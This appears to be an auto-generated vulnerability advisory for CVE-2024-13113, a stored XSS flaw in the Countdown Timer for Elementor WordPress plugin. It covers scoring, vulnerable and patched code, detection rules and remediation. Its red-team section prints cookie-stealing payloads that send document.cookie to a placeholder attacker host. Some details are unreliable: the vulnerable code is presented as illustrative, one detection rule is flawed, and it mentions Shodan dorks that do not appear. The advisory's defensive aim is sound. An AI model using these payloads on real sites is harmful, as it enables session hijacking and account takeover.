CVE-2024-13113
Executive Summary
CVE-2024-13113 is a Stored Cross-Site Scripting (XSS) vulnerability found in the Countdown Timer for Elementor WordPress plugin, versions prior to 1.3.7. The plugin fails to properly sanitize and escape user-supplied parameters before outputting them on the page. This allows authenticated users with a role as low as Contributor to inject arbitrary web scripts or HTML. When the malicious content is rendered by an administrator or other user, the injected script executes in the context of the victim's browser, potentially leading to session hijacking, defacement, or redirection to malicious sites.
This vulnerability is specific to the WordPress ecosystem and does not affect Apache or Nginx directly. The plugin is installed as part of a WordPress site, and the flaw lies in the plugin's PHP code that handles shortcode attributes or widget settings.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is distributed via the WordPress plugin repository. Users who installed the plugin from the official WordPress.org directory are affected if they are running a version below 1.3.7. The supply chain risk is moderate, as the plugin is widely used for countdown timers on Elementor-based sites. No known malicious packages have been identified, but the vulnerability could be exploited by compromised contributor accounts or through social engineering.
CVSS Breakdown & Threat Level
- CVSS Score: 4.8 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor role)
- User Interaction: Required (victim must view the page)
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. Exploitation requires authenticated access with low privileges and user interaction, but the impact can lead to account takeover or site defacement.
Deep Dive & Mechanics
The vulnerability exists in the countdown-timer-for-elementor plugin's output handling. The plugin registers a shortcode or widget that accepts parameters such as date, time, title, or custom CSS classes. These parameters are not sanitized or escaped before being echoed into the HTML output.
Root Cause: The plugin uses functions like echo $param or <?= $param ?> without applying esc_html(), esc_attr(), or wp_kses_post(). This allows an attacker to inject JavaScript payloads.
Attack Flow:
- An attacker with a Contributor role creates or edits a post/page using the Elementor editor.
- The attacker adds the Countdown Timer widget and injects a malicious payload into a parameter (e.g.,
titleordate). - The payload is stored in the WordPress database.
- When an administrator or other user views the page, the payload executes in their browser.
Example Payload:
<script>alert('XSS')</script>
Or more sophisticated:
<img src=x onerror=alert(document.cookie)>
Vulnerable vs. Patched Code
Vulnerable Code (version < 1.3.7):
// In the shortcode handler or widget render function
$title = $atts['title'];
echo '<div class="countdown-title">' . $title . '</div>';
Patched Code (version 1.3.7):
$title = esc_html( $atts['title'] );
echo '<div class="countdown-title">' . $title . '</div>';
The patch applies esc_html() to the output, which converts special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site with the vulnerable plugin installed (version < 1.3.7).
- A user account with at least Contributor role.
Steps:
- Log in as a Contributor.
- Create a new post or page using Elementor.
- Add the Countdown Timer widget.
- In the widget settings, inject a payload into a text field (e.g.,
TitleorDate). Example:<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Publish the post.
- Wait for an administrator to view the page, or send a link to the victim.
Alternative Payload (using event handler):
<img src=x onerror="new Image().src='https://attacker.com/steal?c='+document.cookie">
Blue Team
Detection:
- Monitor for unusual shortcode attributes or widget settings containing
<script>tags. - Review WordPress database entries for the
post_contentfield for suspicious HTML/JavaScript. - Use the detection rules below.
Prevention:
- Update the plugin to version 1.3.7 or later.
- Implement a Web Application Firewall (WAF) rule to block common XSS patterns.
- Restrict Contributor roles from using certain plugins or shortcodes if not needed.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/countdown-timer-for-elementor/(check version in readme.txt) - Database: Suspicious entries in
wp_postsorwp_postmetacontaining<script>tags or event handlers. - Network: Outbound requests to attacker-controlled domains from the WordPress server.
- Logs: Access logs showing requests to pages with the countdown timer containing encoded payloads.
Detection Engineering
YARA Rule
rule CVE_2024_13113_Countdown_Timer_XSS {
meta:
description = "Detects vulnerable Countdown Timer for Elementor plugin files"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-13113"
strings:
$vuln_func = /echo\s*\$[a-zA-Z_]+/
$plugin_path = "countdown-timer-for-elementor"
condition:
$plugin_path and #vuln_func > 0
}
Sigma Rule
title: CVE-2024-13113 - Countdown Timer for Elementor XSS
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential exploitation of stored XSS in Countdown Timer for Elementor plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
http.url|contains:
- "/wp-content/plugins/countdown-timer-for-elementor/"
http.url|contains|all:
- "<script"
- "onerror"
- "onload"
condition: selection
falsepositives:
- Legitimate use of JavaScript in widget settings (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-13113 - Countdown Timer for Elementor XSS Attempt"; flow:to_server,established; content:"/wp-content/plugins/countdown-timer-for-elementor/"; http_uri; pcre:"/<script|<img[^>]+onerror|<svg[^>]+onload/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Update the plugin to version 1.3.7 or later from the WordPress plugin repository.
- If unable to update, disable the plugin temporarily.
Long-term:
- Implement a Content Security Policy (CSP) to restrict script execution.
- Regularly audit WordPress plugins for known vulnerabilities.
- Use a security plugin like Wordfence or Sucuri to monitor for XSS attempts.
Valters IT Signature:
This report was generated by Valters IT DevSecOps AI.
CVE-2024-13113 analysis completed.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.